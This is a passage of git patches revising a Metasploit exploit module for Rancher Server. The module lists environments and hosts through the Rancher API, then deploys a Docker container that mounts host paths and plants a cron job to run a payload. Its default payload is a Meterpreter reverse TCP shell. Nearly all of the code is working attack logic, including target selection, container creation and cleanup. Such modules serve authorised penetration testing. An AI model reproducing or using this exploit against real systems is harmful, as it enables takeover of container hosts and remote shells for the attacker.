MetasploitModule < Msf::Exploit::Remote def check res = send_request_raw( 'method' => 'GET', - 'uri' => normalize_uri('/v1/projects'), + 'uri' => normalize_uri(target_uri.path), 'headers' => { 'Accept' => 'application/json' } ) @@ -114,30 +122,53 @@ class MetasploitModule < Msf::Exploit::Remote end if res.code == 200 and res.headers.to_json.include? 'X-Rancher-Version' - # get all rancher environments - projects = JSON.parse(res.body)['data'].map { |data| data['id'] } - # get all hosts from environments target_found = false - projects.each do |project| + target_selected = false + + environments = JSON.parse(res.body)['data'] + environments.each do |e| res = send_request_raw( 'method' => 'GET', - 'uri' => normalize_uri('/v1/projects', project, 'hosts'), + 'uri' => normalize_uri(target_uri.path, e['id'], 'hosts'), 'headers' => { 'Accept' => 'application/json' } ) - hosts = JSON.parse(res.body)['data'].map { |data| data['id'] } - hosts.each do |host| + + hosts = JSON.parse(res.body)['data'] + hosts.each do |h| target_found = true - print_good("TARGETHOST #{host} found on TARGETURI /v1/projects/#{project}") + result = "Rancher Host \"#{h['hostname']}\" (TARGETHOST #{h['id']}) on " + result << "Environment \"#{e['name']}\" (TARGETENV #{e['id']}) found" + + # flag results when this host is targeted via options + if datastore['TARGETENV'] == e['id'] && datastore['TARGETHOST'] == h['id'] + target_selected = true + vprint_good(result + ' %red<-- targeted%clr') + else + vprint_good(result) + end end end - return Exploit::CheckCode::Appears if target_found == true + + if target_found + return Exploit::CheckCode::Vulnerable if target_selected + + print_bad("Your TARGETENV \"#{datastore['TARGETENV']}\" or/and TARGETHOST \"#{datastore['TARGETHOST']}\" is not available") + if datastore['VERBOSE'] == false + print_bad('Try verbose mode to know what happened.') + end + vprint_bad('Choose a TARGETHOST and TARGETENV from the results above') + return Exploit::CheckCode::Appears + else + print_bad('No TARGETHOST available') + return Exploit::CheckCode::Detected + end end Exploit::CheckCode::Safe end def exploit - unless check == Exploit::CheckCode::Appears + unless check == Exploit::CheckCode::Vulnerable fail_with(Failure::Unknown, 'Failed to connect to the target') end @@ -150,7 +181,7 @@ class MetasploitModule < Msf::Exploit::Remote # deploy docker container res = send_request_raw( 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'containers'), + 'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers'), 'headers' => { 'Accept' => 'application/json', 'Content-Type' => 'application/json' }, 'data' => make_container(mnt_path, cron_path, payload_path, container_id).to_json ) @@ -174,7 +205,7 @@ class MetasploitModule < Msf::Exploit::Remote res = send_request_raw( 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'containers', '?name=' + container_id), + 'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', '?name=' + container_id), 'headers' => { 'Accept' => 'application/json' } ) next unless res.code == 200 and res.body.include? 'stopped' From e3326e1649ddb46ac5925a4145dd8375e99f1d0e Mon Sep 17 00:00:00 2001 From: Martin Pizala Date: Sun, 1 Oct 2017 02:15:43 +0200 Subject: [PATCH 10/11] Use send_request_cgi instead of raw --- modules/exploits/linux/http/rancher_server.rb | 21 ++++++++++++------- 1 file changed, 13 insertions(+), 8 deletions(-) diff --git a/modules/exploits/linux/http/rancher_server.rb b/modules/exploits/linux/http/rancher_server.rb index f010b7124b..e0726cec9e 100644 --- a/modules/exploits/linux/http/rancher_server.rb +++ b/modules/exploits/linux/http/rancher_server.rb @@ -59,10 +59,11 @@ class MetasploitModule < Msf::Exploit::Remote end def del_container(rancher_container_id, container_id) - res = send_request_raw( + res = send_request_cgi( 'method' => 'DELETE', - 'headers' => { 'Accept' => 'application/json' }, - 'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', rancher_container_id) + 'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', rancher_container_id), + 'ctype' => 'application/json', + 'headers' => { 'Accept' => 'application/json' } ) return vprint_good('The docker container has been removed.') if res && res.code == 200 @@ -105,9 +106,10 @@ class MetasploitModule < Msf::Exploit::Remote end def check - res = send_request_raw( + res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), + 'ctype' => 'application/json', 'headers' => { 'Accept' => 'application/json' } ) @@ -127,9 +129,10 @@ class MetasploitModule < Msf::Exploit::Remote environments = JSON.parse(res.body)['data'] environments.each do |e| - res = send_request_raw( + res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, e['id'], 'hosts'), + 'ctype' => 'application/json', 'headers' => { 'Accept' => 'application/json' } ) @@ -179,10 +182,11 @@ class MetasploitModule < Msf::Exploit::Remote container_id = make_container_id # deploy docker container - res = send_request_raw( + res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers'), - 'headers' => { 'Accept' => 'application/json', 'Content-Type' => 'application/json' }, + 'ctype' => 'application/json', + 'headers' => { 'Accept' => 'application/json' }, 'data' => make_container(mnt_path, cron_path, payload_path, container_id).to_json ) fail_with(Failure::Unknown, 'Failed to create the docker container') unless res && res.code == 201 @@ -203,9 +207,10 @@ class MetasploitModule < Msf::Exploit::Remote sleep(sleep_time) wait_time -= sleep_time - res = send_request_raw( + res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', '?name=' + container_id), + 'ctype' => 'application/json', 'headers' => { 'Accept' => 'application/json' } ) next unless res.code == 200 and res.body.include? 'stopped' From 34d119be047fd18390f9c66f56ec9ae3294dfc63 Mon Sep 17 00:00:00 2001 From: Martin Pizala Date: Sat, 7 Oct 2017 01:10:23 +0200 Subject: [PATCH 11/11] Payload space, error handling and style" --- modules/exploits/linux/http/rancher_server.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/http/rancher_server.rb b/modules/exploits/linux/http/rancher_server.rb index e0726cec9e..08c01cc3d0 100644 --- a/modules/exploits/linux/http/rancher_server.rb +++ b/modules/exploits/linux/http/rancher_server.rb @@ -34,6 +34,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'Platform' => 'linux', 'Arch' => [ARCH_X64], + 'Payload' => { 'Space' => 65000 }, 'Targets' => [[ 'Linux', {} ]], 'DefaultOptions' => { 'WfsDelay' => 75, 'Payload' => 'linux/x64/meterpreter/reverse_tcp' }, 'DefaultTarget' => 0, @@ -65,6 +66,7 @@ class MetasploitModule < Msf::Exploit::Remote 'ctype' => 'application/json', 'headers' => { 'Accept' => 'application/json' } ) + return vprint_good('The docker container has been removed.') if res && res.code == 200 print_warning("Manual cleanup of container \"#{container_id}\" is needed on the target.") @@ -118,12 +120,12 @@ class MetasploitModule < Msf::Exploit::Remote return Exploit::CheckCode::Unknown end - if res.code == 401 and res.headers.to_json.include? 'X-Rancher-Version' + if res.code == 401 && res.headers.to_json.include?('X-Rancher-Version') print_error('Authorization is required. Provide valid Rancher API Keys.') return Exploit::CheckCode::Detected end - if res.code == 200 and res.headers.to_json.include? 'X-Rancher-Version' + if res.code == 200 && res.headers.to_json.include?('X-Rancher-Version') target_found = false target_selected = false @@ -213,7 +215,7 @@ class MetasploitModule < Msf::Exploit::Remote 'ctype' => 'application/json', 'headers' => { 'Accept' => 'application/json' } ) - next unless res.code == 200 and res.body.include? 'stopped' + next unless res && res.code == 200 && res.body.include?('stopped') vprint_good('The docker container has stopped, now trying to remove it') del_container(rancher_container_id, container_id)